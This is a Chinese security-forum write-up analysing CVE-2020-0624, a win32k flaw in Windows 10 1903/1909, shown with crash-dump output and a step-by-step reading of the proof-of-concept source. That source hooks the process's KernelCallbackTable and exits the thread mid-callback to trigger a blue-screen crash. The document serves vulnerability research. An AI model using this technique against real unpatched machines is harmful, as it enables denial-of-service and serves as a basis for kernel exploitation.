其他
CVE-2020-0624 win32k漏洞分析笔记
本文为看雪论坛优秀文章
看雪论坛作者ID:0x2l
目录
前言漏洞影响范围配置漏洞触发环境BSOD分析poc源码分析参考文章一些疑问前言
漏洞影响范围
Microsoft Windows Server 1903
Microsoft Windows 10 1909
配置漏洞触发环境
[+] win10 x64 1903
[+] windbg preview 1.0.2001.02001
BSOD分析
1: kd> !analyze v
ERROR: FindPlugIns 8007007b
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000046, Attempt to free an invalid pool address
Arg2: ffffc29800880000, Starting address
Arg3: 0000000000000000, 0
Arg4: 0000000000000000, 0
ba e1 win32kfull!Win32FreePoolImpl+0x46 "r rcx;.if(cx == 0){.echo 1}.else{.echo 2;g}"
ba e1 win32kbase!xxxDestroyThreadInfo+0x94 "r rsi;.if(poi(rsi+0x2C8) != 0){.echo 1}.else{g}"
poc源码分析
因为作者给出了源代码,所以我们接着看一下poc的源代码,我分成几个小部分来一一分析。
/* 获取指向TEB和PEB的指针 */
DWORD OldProtect{};
/* 获取指向TEB和PEB的指针 */
PTEB teb = NtCurrentTeb();
PPEB peb = teb->ProcessEnvironmentBlock;
PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];
0: kd> dt nt!_PEB @$peb +0x058
......
+0x058 KernelCallbackTable : 0x00007ff5`6ad80028 Void
......
0: kd> dps poi($peb+58)
00007ffa`2bdb6330 00007ffa`2bd35150 USER32!_fnCOPYDATA
00007ffa`2bdb6338 00007ffa`2bdae720 USER32!_fnCOPYGLOBALDATA
00007ffa`2bdb6340 00007ffa`2bd52cd0 USER32!_fnDWORD
00007ffa`2bdb6348 00007ffa`2bd56780 USER32!_fnNCDESTROY
00007ffa`2bdb6350 00007ffa`2bd5cd50 USER32!_fnDWORDOPTINLPMSG
......
/*
BOOL VirtualProtect( // 此函数更改对调用进程的虚拟地址空间中的已提交页面区域的保护
LPVOID lpAddress, // 要更改其访问保护属性的页面区域的起始页面
SIZE_T dwSize, // 要更改其访问保护属性的区域的大小
DWORD flNewProtect, // 内存保护选项,PAGE_EXECUTE_READWRITE为可读可写可执行权限
PDWORD lpflOldProtect // 指向变量的指针,该变量接收页面的指定区域中第一页的先前访问保护值
);
PVOID InterlockedExchangePointer( // 此函数原子交换一对地址
PVOID volatile *Target, // 目标地址
PVOID Value // 与目标函数交换的地址
);
*/
if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
return 0;
OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2, &NewCCI2);
hChild = CreateWindow(
L"ScrollBar",
L"Vul",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT,
CW_USEDEFAULT,
10,
10,
NULL,
NULL,
NULL,
NULL
);
NTSTATUS NTAPI NewCCI2(PVOID Param)
{
if (Flag)
{
ExitThread(0);
}
return OrgCCI2(Param);
}
Flag = TRUE;
SendMessage(hVul, WM_LBUTTONDOWN, 0, 0);
[+] HOOK KernelCallbackTable->fnDWORD
[+] 创建一个可视的滚动条窗口SrollBar并发送WM_LBUTTONDOWN消息
[+] 系统处理消息初始化SBTrack结构并开始循环,接着触发fnDWORD回调
[+] 由于KernelCallbackTable->fnDWORD已经被我们修改,所以程序转去执行NewCCI2函数
[+] win32kfull!xxxSBTrackInit()函数已经将tagSBTrack结构写入了tagTHREADINFO+2c8处,退出线程时会触发BSOD
参考文章
wjllz师傅,同样是偷思路和技巧:https://xz.aliyun.com/u/12604
https://www.anquanke.com/post/id/97498
https://pediy.com/kssd/pediy11/104918.html
ps. 漏洞附件请点击“阅读原文”下载。
看雪ID:0x2l
https://bbs.pediy.com/user-862439htm
*本文由看雪论坛 0x2l 原创,转载请注明来自看雪社区。
推荐文章++++
好书推荐